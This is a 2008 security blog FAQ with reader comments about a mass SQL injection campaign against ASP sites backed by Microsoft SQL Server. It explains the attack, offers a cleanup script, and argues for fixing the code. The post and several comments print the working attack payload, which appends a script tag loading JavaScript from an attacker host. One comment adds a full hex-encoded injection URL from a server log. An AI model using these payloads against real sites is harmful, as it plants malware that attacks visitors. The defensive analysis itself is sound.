Reports about the massive infection of web sites by an automated tool, whose most recent prominent victims have been United Nations, UK Government and the U.S. Department of Homeland Security raised some recurring questions which are worth answering.
- The attack is targeting Microsoft IIS web servers. Is there a Microsoft vulnerability?
- What can I do if I'm the administrator of an infected site?
- What should I do as an user to protect myself?
- How can NoScript protect if the compromised sites are in my trusted whitelist?
"Exploits of a Mom" by xkcd
-
The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;This is the "secret sauce" which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology -- but it's a feature, not a bug (no irony intended this time). Anyway, the chances for such "powerful" DB technology of being used in conjunction with web servers different than IIS are very low.
So, to recap:- There's no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
- SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
- Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.
In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn't really grow enough security awareness to develop safe internet-facing applications.
-
What should I do if I'm the administrator of an infected site?
First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it's a merely temporary work-around -- the solution is fixing the code (learn from the United Nations tale).
If you've got no clean database backup, you could try to recover by brutally reversing the SQL attack:DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);it locates and removes it with
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);Notice that I've not tested my code above, and I'm just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it's debugged and "tested" (i.e. it works) on SQL Server 2005 (thanks Scott), but the "use it at your own risk" disclaimer still applies. -
What should I do as an user to protect myself?
OK, this one is the easiest :)
-
How can NoScript protect if the compromised sites are in my trusted whitelist?
Even if the compromised site is in your whitelist, allowed to run JavaScript, the actual attack is thrown by a tiny IFrame or a script inclusion which just pulls the malicious code from an external server in control of the attacker (usually in a Chinese or Russian domain registered for this purpose) and surely not in your whitelist. This is quite reasonable: since SQL vulnerabilities are not suitable for injecting large chunks of malicious code, and such an attack cannot write Flash applets or JavaScript files on the filesystem of the compromised server, the attacker needs to download them from somewhere else.
Therefore NoScript's fine grained script blocking prevents them from being loaded and effectively defeats the attack.
April 26th, 2008 at 11:19 am
"Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site."
Rubbish! While this attack is aimed at Microsoft SQL servers, this is purely incidental. The generic SQL could have been targetted against any major SQL server database since they all contain ways to find out about the tables and columns in the database via a metadata mechanism. The SQL-92 standard even defines a way to do this which many SQL vendors support.
April 26th, 2008 at 12:03 pm
[...] Mass Attack FAQ. Thousands of IIS Web servers have been infected with an automated mass XSS attack, not through a specific IIS vulnerability but using a universal XSS SQL query that targets SQL Server and modifies every text field to add the attack JavaScript. If an app has even a single SQL injection hole (and many do) it is likely to be compromised. [...]
April 26th, 2008 at 12:26 pm
@Bruce Boughton:
I'm the first saying Microsoft is not to blame, but "while this attack is aimed at Microsoft SQL Server, this is purely incidental" is an inaccurate statement at best.
Attackers carefully weighted the easiest spot, being a combination of
PHP API
If an attack on a different architecture had equal chances to succeed, the logical target would have been LAMP, which is numerically predominant nowadays, instead of a nearly obsolete web stack.
April 28th, 2008 at 10:36 am
* Would this attack be avoided simply if the database user was not allowed to create (new) database stored procedures?
* How common is it to allow the database web user to create new procedures?
* Insert, update, select and delete as well as exec should be enough for the web application to function normally?
April 28th, 2008 at 4:01 pm
@Albert:
As far as I can see no stored procedure is being created here. It's just a complex procedural statement that's being executed on the fly.
Either way, the needed privileges are fairly common, judging by the numbers of this epidemic.
I guess in most cases INSERT, UPDATE, SELECT and DELETE are enough.
I've never used EXEC in production code, and in this very case this "Dynamic SQL" feature is allowing the attack to be generic, giving a mean to resolve the table names at runtime.
April 28th, 2008 at 7:47 pm
[...] http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9080580 http://hackademix.net/2008/04/26/mass-attack-faq/ QUOTE: There's another round of mass SQL injections going on which has infected hundreds of [...]
April 28th, 2008 at 7:47 pm
[...] http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9080580 http://hackademix.net/2008/04/26/mass-attack-faq/ QUOTE: There's another round of mass SQL injections going on which has infected hundreds of [...]
April 29th, 2008 at 12:00 am
[...] automatic move takes plus to the fact that Microsoft’s IIS servers allow generic commands that don’t order limited table-level arguments. However, the danger is the termination of [...]
April 29th, 2008 at 1:32 am
[...] you want the REAL story on what this is all about read this well written explanation of the problem. Share and Enjoy: These icons link to social bookmarking sites where readers can share and [...]
April 29th, 2008 at 2:45 am
[...] automated attack takes advantage to the fact that Microsoft’s IIS servers allow generic commands that don’t require specific table-level arguments. However, the vulnerability is the result of [...]
April 29th, 2008 at 3:31 am
reverse(right(reverse(['+@C+']), patindex(''%tpircs<%'', reverse(['+@C+']))+7))
I wonder if substring() should be used instead of right()?
"SQL Server 2005 Books Online (September 2007)
RIGHT (Transact-SQL)
Returns the right part of a character string with the specified number of characters."
April 29th, 2008 at 4:11 am
[...] bloggers have spun this story as an attack against a vulnerability in Microsoft??s IIS web server.http://hackademix.net/2008/04/26/mass-attack-faq/Web Host Directory: The best free source of web hosting services ...Web Host Directory: Your best [...]
April 29th, 2008 at 5:16 am
@Albert:
This is not the creation of a stored procedure -
It is an sql injection -- that means someone is doing something like this
sqlSTMT = "INSTERT INTO TABLE (name) value ( "+{fieldvalue}+")"
SENDTOSQL(sqlSTMT)
By passing all the code above to the fieldvalue this gets sent to the SQL server and run.
VERY VERY common for many years...
Easy to avoid -- just use a stored procedure and pass the the field values at parameters.
In the stored procdure you don't EXEC the varables you just add them to your SQL and the server will crash if they contain code.
SQL Injection is very '97
April 29th, 2008 at 8:28 am
[...] Huge SQL Injection attacks infect 500,000 pages http://www.f-secure.com/weblog/archives/00001427.html http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9080580 http://hackademix.net/2008/04/26/mass-attack-faq/ [...]
April 29th, 2008 at 11:45 am
It's just another SQL injection attack, nothing new here...and certainly nothing to do with which web server you choose!
April 29th, 2008 at 12:08 pm
@Hogan and Wodderwick:
of course the vulnerabilities involved are just trivial SQL injections, very '97 as you said (and that's why developers are even more to blame).
But there's actually something new here, and it's the adaptability of the payload, which works unmodified with every injectable web site backed by a Microsoft SQL Server database.
And since web applications with a MS SQL Server back end are almost always hosted on IIS web servers...
April 29th, 2008 at 12:46 pm
@Giorgio:
You may be right, but I'd be really suprised (and in an odd way a little disappointed!) that nobody's done this exact same thing before?
Yeah, OK, I'll agree with that, but some of the sites reporting this on the 'net are 'blaming' IIS in the titles of their articles and that's misleading people, you're not one of them I hasten to add :-)
I think we all agree that all SQL injection vunerabilities are pretty daft but the most stupid vunerability I've seen recently is the one where the URL contains plain SQL statements which are blindly executed server-side, I mean there's just NO attempt to protect the database at all!
April 29th, 2008 at 1:17 pm
@Wodderwick:
Someone may have done this before (we cannot know, anyway), but this time we've got the smoking gun of an automated tool built around it and probably sold in the underground, hence the impressive numbers of this attack.
Regarding the SQL statements accepted verbatim as a query parameters by design, I've seen them too with horror. As you probably know, they even caused high profile data leaks recently.
Every time a project have impossible deadlines to be met with ridiculous budgets (i.e. almost always), some underpaid monkey coder "invents" some shortcut like that and -- who knows? -- they may even praise it as smart "code reuse".
See the XSS equivalent, with CNN and CeBIT "vulnerable by design".
April 29th, 2008 at 4:10 pm
[...] http://hackademix.net/2008/04/26/mass-attack-faq/#comment-7742 - another great article talking about this specific attack [...]
April 30th, 2008 at 6:30 pm
[...] http://hackademix.net/2008/04/26/mass-attack-faq [...]
May 7th, 2008 at 1:22 am
Your code to remove does not appear to work. :(
May 7th, 2008 at 11:43 am
@Scott:
Fixed and tested against SQL Server 2005 now, thanks.
May 7th, 2008 at 12:57 pm
[...] is reporting a new wave of the mass SQL injection automated attack against MS ASP + MS SQL Server web [...]
May 7th, 2008 at 4:53 pm
As always Giorgio, excellent post. For those saying this isnt targeting Microsoft SQL Servers, the above SQL fails against an Oracle db. ;-)
May 14th, 2008 at 7:33 pm
[...] the past month or so. Even with the large numbers of quality (and not so quality) write-ups of the attack technique, I still stumble across the occasional non-believer. Dialog with a former colleague of mine: [...]
May 15th, 2008 at 5:22 pm
Do I understand this correctly if I say that theese attacks are 'sent' via the URL?
Or is the script residing on an external server as well?
N00b here. Help me out.
May 17th, 2008 at 4:03 pm
[...] Community, formerly known as the Microsoft Certified Professional Magazine, joined the party of the ASP/MS SQL Server sites SQL Injected to serve JavaScript malware. Considering the wide coverage this epidemics enjoyed in the past week, I wonder what a [...]
May 20th, 2008 at 3:52 am
Once again this thread (not just this article) is full of self praising commentary and bablegaff. This is a serious attack and while it may be mostly the fault of the web site developers lack of attention to injection attacks, the relity is that thousands of web sites have been hit with this, and not just Microsoft IIS based sites. WHat would be wonderful would be if all of the supposed great minds behind the above ramblings would start to suggest some possile remedies and approaches to reduce suscibility to the attack (in the real worls the actual developers of many sites are long gone).
So, show the rest of us mortals how smart you all are and provide some real solutions to the problem vs. using this as a platform to bash Microsoft etc.
The only positive content is the removal process presented at the beginning (thanks for that).... but we need to come up with ideas to prevent it.
May 20th, 2008 at 7:49 am
@Lindsey:
You wrote:
Since you're ruling out correcting the buggy code, I'm afraid you're imagining a "magic product" to buy and put around your buggy web site to protect it.
This silver bullet just does not exists: as I actually said in my "rambling" above, web application firewalls can be deployed as a temporary work-around, but if you don't know what you're doing (or hire a security expert to configure it), you're doomed to fail like United Nations.
SQL injections are really trivial to be avoided: with modern data layers (including ADO, which is the default used by ASP), you just need to use prepared statement and bound parameters, instead of dynamically built SQL strings.
So, that's my idea: just hire good developers and pay them for what they are worth.
If you don't need a developer anymore because your site is functionally complete, contract a security expert with proven programming skills on the technology your site is built with (ASP in your case, I guess) to have your code throughly reviewed.
You know how to contact me, but I'm not exactly cheap :)
May 20th, 2008 at 9:43 pm
the attack is eligant they crafted the packet and encoded it in hex
here is the packet encoded in hex
4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F
5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E
69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D32
3331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220
494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554
205B272B40432B275D3D525452494D28434F4E5645525428564152434841522838303030292C5B272B40432B275D29292B27273C736372697074207372633D687474
703A2F2F7777772E62616E6E657238322E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F43757273
6F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72
here is the packet decoded
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(8000),['+@C+']))+''''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
they are injecting from the web browser
example
http://yoursite.com/yourcode?c=15188;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405
4205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C4
5435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414
E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E787
47970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404
3205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3
D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E626
16E6E657238322E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F20405
42C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@
S);--|97|80004005|[Microsoft][ODBC_SQL_Server_Driver]Connection_is_busy_with_results_for_another_hstmt 80 - 58.247.201.46 Mozilla/4.
0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - - 500 0 64 0 1412 37000^M
only solution is to rewrite your code to scrub the injection
silky
May 20th, 2008 at 10:08 pm
here is the decrypt code swap out the hex befor the EOF for the ones you are seeing in your logs
this is writen in perl
#!/usr/bin/perl
my $s=<"EOF";
4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F
5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E
69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D32
3331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220
494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554
205B272B40432B275D3D525452494D28434F4E5645525428564152434841522838303030292C5B272B40432B275D29292B27273C736372697074207372633D687474
703A2F2F7777772E62616E6E657238322E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F43757273
6F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72
EOF
while (length($s)>0) {
my $hex=substr($s,0,2); $s=substr($s,2,length($s));
my $ch=hex($hex); $ch=pack("C",$ch);
print $ch;
}
May 22nd, 2008 at 10:07 pm
A quick solution for asp is to include a check.asp in every site wich proofe the RequestParameters and FormFields.
It will not prevent you to redesign the application, but may a short solution. The best practice is to use ADO with parameter
or to switch to a more structured language like java or php.
By Example somthing like this:
<%
IdParameterList = Split(UCase("Id~Id_client~Id_address"), "~")
badKeyWordList = Split(UCase("Declare ~Select ~Drop ~Truncate ~@@~master..~iframe~javascript:~xp_cmdshell~Drop Database"), "~")
// No QueryString longer then 250
// Check QueryString, all Id's must be Long
// Check QueryString against Keywords
For Each x In Request.QueryString
i = 0
While i <= UBound(IdParameterList)
If Request.QueryString(x) <> "" And UCase(IdParameterList(i)) = UCase(x) Then
If len(Request.QueryString(x)) > 250 Then
Response.Clear
Response.Redirect "../library/parseparametererror.asp"
End if
IF not IsNumeric(Request.QueryString(x)) Then
Response.Clear
Response.Redirect "../library/parseparametererror.asp"
i = UBound(IdParameterList)
Else
test = CLng(Request.QueryString(x))
End If
End If
i = i + 1
Wend
i = 0
While i <= UBound(badKeyWordList)
test = InStr(UCase(Request.QueryString(x)), badKeyWordList(i))
If test > 0 Then
Response.Clear
Response.Redirect "../library/parseparametererror.asp"
i = UBound(badKeyWordList)
End If
i = i + 1
Wend
Next
// Check QueryString, damit alle Id's auch wirklich Long sind
// Check Form Parameter auf Keywords
For Each x In Request.Form
i = 0
While i <= UBound(badKeyWordList)
test = InStr(UCase(Request.Form(x)), badKeyWordList(i))
If test > 0 Then
Response.Clear
Response.Redirect "../library/parseparametererror.asp"
i = UBound(badKeyWordList)
End If
i = i + 1
Wend
Next
%>
May 26th, 2008 at 7:59 am
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
'''''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
May 26th, 2008 at 8:08 am
@Danger:
At first look either the comment input sanitization stripped off something fundamental, or your script does nothing...
Am I missing anything?
May 28th, 2008 at 10:33 am
[...] Yesterday Symantec elevated its ThreatCon rating as a response to an infection involving about 20,000 web pages (250,000 according to other sources), and probably still actively spreading through an automated SQL injection. [...]
May 28th, 2008 at 6:17 pm
[...] minutes after I published my post about the Flash unpatched vulnerability being exploited through mass SQL injections, popups of this kind started flying all over my notebook’s desktop: Since the [...]
May 30th, 2008 at 9:15 am
Hey spinaker ..
Does it work properly? I wanna adapt ur code to my website for cure T_T
Plz reply to me whether it works or not.
I'll gonna die if my website is infected by mess injection sql.
Have a nice day.
May 31st, 2008 at 9:15 pm
Another variation of this script has just emerged. The URL that is appended this time is http colon colon http: / /w w w .xiaobaishan.n e t/dt/us/Help.asp. I found the following script in the log but can't convert the hex code to VARCHAR:
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE TABLE_CURSOR CURSOR FOR SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE='U' AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR,['+@C+']))+CAST(0X3C736372697074207372633D687474703A2F2F7777772E7869616F6261697368616E2E6E65742F64742F75732F48656C702E6173703E3C2F7363726970743E AS VARCHAR(67))') FETCH NEXT FROM TABLE_CURSOR INTO @T,@C END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;
June 5th, 2008 at 4:41 pm
Thanks for the useful info guys and girls. I run a web site that I have developed in my spare time and it's come under heavy attack tonight. I am a self taught vb/asp/sql person and was lost for a while. I guess a simple solution is to send data through a function to check data being returned from a form for a few key words like 'EXEC(' and/or ‘VARCHAR(‘ as they would not be words people would use on a motorcycle site!, and also check for the hex equivalent of these strings.
June 5th, 2008 at 11:36 pm
@Denis:
Sorry for having to say that, but your "keyword blacklist" approach is doomed to failure.
The sane way to prevent the kind of bugs behind these attacks is:
or, much better, learning how to use ADO's prepared statements with parameter binding. This will prevent most SQL injections.
.
This will prevent most XSS attacks.
June 6th, 2008 at 12:58 am
Ok thanks for the tips Giorgio, I will look into ADO’s prepared statements with parameter binding over the weekend.
Denis
June 11th, 2008 at 2:44 am
My website was hacked by this sql injection attack. I tried to use the sql procedure mentioned above to clean my database but it did not help. Has anyone used this procedure and it worked for them? I am desparate to find a solution to clean my database from this malicious script which has been inserted into every field in my database.
June 11th, 2008 at 9:43 am
@Mete:
The SQL procedure in my article is tested and does work on SQL Server 2005, but might not work on other versions and surely does not work on different kinds of database.
Your DB seems to be SQL Server (I tested it with an innocuous SQL injection causing "Microsoft OLE DB Provider for SQL Server error '80040e14'" to be displayed), but the version may not be compatible.
The test above says also that you're still completely vulnerable. If you need a custom cleanup/code revision service, feel free to contact me.
June 19th, 2008 at 1:42 am
1- You can prevent the script from executing or any further issues:
deny select on sysobjects to sql_login_of_your_app
deny select on syscomments to ql_login_of_your_app
deny select on syscolumns to ql_login_of_your_app
deny select on systypes to ql_login_of_your_app
The script won't even get access to the sys tables anymore (you can add more but these are the minimum).
2- You canuse what the Hacker used (query below) and know what is/was infected.
select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
June 20th, 2008 at 3:22 pm
[...] an interesting day today for us in Sentrigo. One of our customers was being attacked by this mass SQL injection and since our software identified the attack he came to us to help him cope with the situation. As [...]
June 21st, 2008 at 12:54 am
That's not clever. It's a mundane use of the cursor object affecting anyone careless enough to allow raw SQL injection across their querystrings.
June 25th, 2008 at 12:42 am
[...] mass SQL injection attacks we talked about in in several posts, being mainly targeted to ASP sites running on Microsoft IIS [...]
June 25th, 2008 at 6:19 pm
[...] vulnerabilities in a website. It was a joint effort with Microsoft and a direct response to the mass SQL Injection attacks of [...]
June 26th, 2008 at 10:10 am
yup.. www.tenmokupottery.com.my also get hacked with those Sql injection, thank you for all your comment, i learn alot from this blog
June 30th, 2008 at 6:06 pm
With this latest round of injections that have occurred, are you seeing the code being run as a stored proc or is it being injected via form fields?
July 2nd, 2008 at 10:42 am
Final Solution ckeched (no code redesign is needed)
Crisis management steps:
1) Stop the web site (IIS) that is affected from the attack
2)Run the procedure mentioned above from Georgio (included below):
-------------------------------------------------------------
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
'''''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
----------------------------------------------------------------
I'm not sure if it cleans ntext or text fields so take a look at the end of these fields to check if the script is there
4) Make sure you have applied deny to these tables (as mentioned by Marie):
deny select on sysobjects to sql_login_of_your_app
deny select on syscomments to ql_login_of_your_app
deny select on syscolumns to ql_login_of_your_app
deny select on systypes to ql_login_of_your_app
5) As these have been applied the script cannot affect anymore your application database
6) Get URLScan 2.5 or Port 80 ServerDefender (http://www.port80software.com/products/serverdefender/) that blocks URL injections specified by the length of the query string you allow in the preferences (the attack script has a length of 1180 characters I think) and additionally it blocks the IP of the attacker for a period of time you specify. Good tool but very expensive. The same functionality but the blocking of IP does the Microsoft URLScan 2.5 that restricts the length of the Query string but cannot block automatically the IP of the attacker.
I put 450 characters as the maximum length. You have to decide on this depending on the query strings that run on your server.
That's it
I think that the literature on bad coding practices is not well documented.
July 3rd, 2008 at 6:02 am
This is the script that worked of me It handles multiple instances of the
July 4th, 2008 at 6:10 pm
I like the idea of denying select on sysobjects and other. Anybody who tried it ? Any reason for this not working on a shared SQL Server 2000 ?
July 13th, 2008 at 4:24 pm
[...] Read about it here (hackademix.net) [...]
July 21st, 2008 at 7:58 pm
Great news! (not really) The attack that was previously targeting only .asp pages has now moved on and widened its scope to .cfm pages as well. A whole new batch on insecure code to violate...
July 30th, 2008 at 3:34 pm
[...] Mass attack FAQ from hackademix.net (VERY handy if you do not have a clean backed up version of your database) and U.N.Patched (the story of how the UN got their site attacked) [...]
August 9th, 2008 at 11:21 am
[...] page. Our webpage had a link on it to sdo.1000mg.cn. I started looking and found that we had the SQL injection attack currently featured at [...]
September 15th, 2008 at 10:14 pm
[...] infect trusted sites like BusinessWeek? This is becoming something of a trend, as evidenced by the mass SQL Injection attacks from a few months [...]
November 24th, 2008 at 9:07 am
Someone may have done this before (we cannot know, anyway), but this time we’ve got the smoking gun of an automated tool built around it and probably sold in the underground, hence the impressive arding the SQL statements accepted verbatim as a query parameters by design, I’ve seen them too with horror. As you probably know, they even caused high profile data leaks recently.
Every time a project have impossible deadlines to be met with ridiculous budgets (i.e. almost always), some underpaid monkey coder “invents” some shortcut like that and — who knows? — they may even praise it as smart “code reuse”.
See the XSS equivalent, with CNN and CeBIT “vulnerable by design”.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
terrina
Social Bookmarking
December 11th, 2008 at 1:32 pm
[...] exploits for the latter vulnerability are being massively infiltrated inside legit web sites using automated SQL injection attacks. Give yourself a Christmas gift: if there’s a best moment for switching to a safe or to a [...]
December 12th, 2008 at 7:08 pm
[...] Latest updates from Microsoft: the critical remote execution bug which we already talked about affects all IE versions (included IE8 beta) on every supported Windows operating system. The bulletin also corrects some early assumptions about this unpatched vulnerability, which is being actively exploited in the wild from apparently legitimate sites infected through automated SQL injections: [...]
December 23rd, 2008 at 7:17 am
[...] automated attack takes advantage to the fact that Microsoft’s IIS servers allow generic commands that don’t require specific table-level arguments. However, the vulnerability is the result of [...]
August 14th, 2009 at 9:02 am
[...] hackademix.net » Mass Attack FAQ (tags: sql injection) [...]
March 11th, 2010 at 5:00 am
[...] injection http://hackademix.net/2008/04/26/mass-attack-faq/ http://blogs.iis.net/bills/archi … [...]
May 4th, 2010 at 3:31 pm
[...] Giorgio Maone (April 26, 2008). “Mass Attack FAQ”. [...]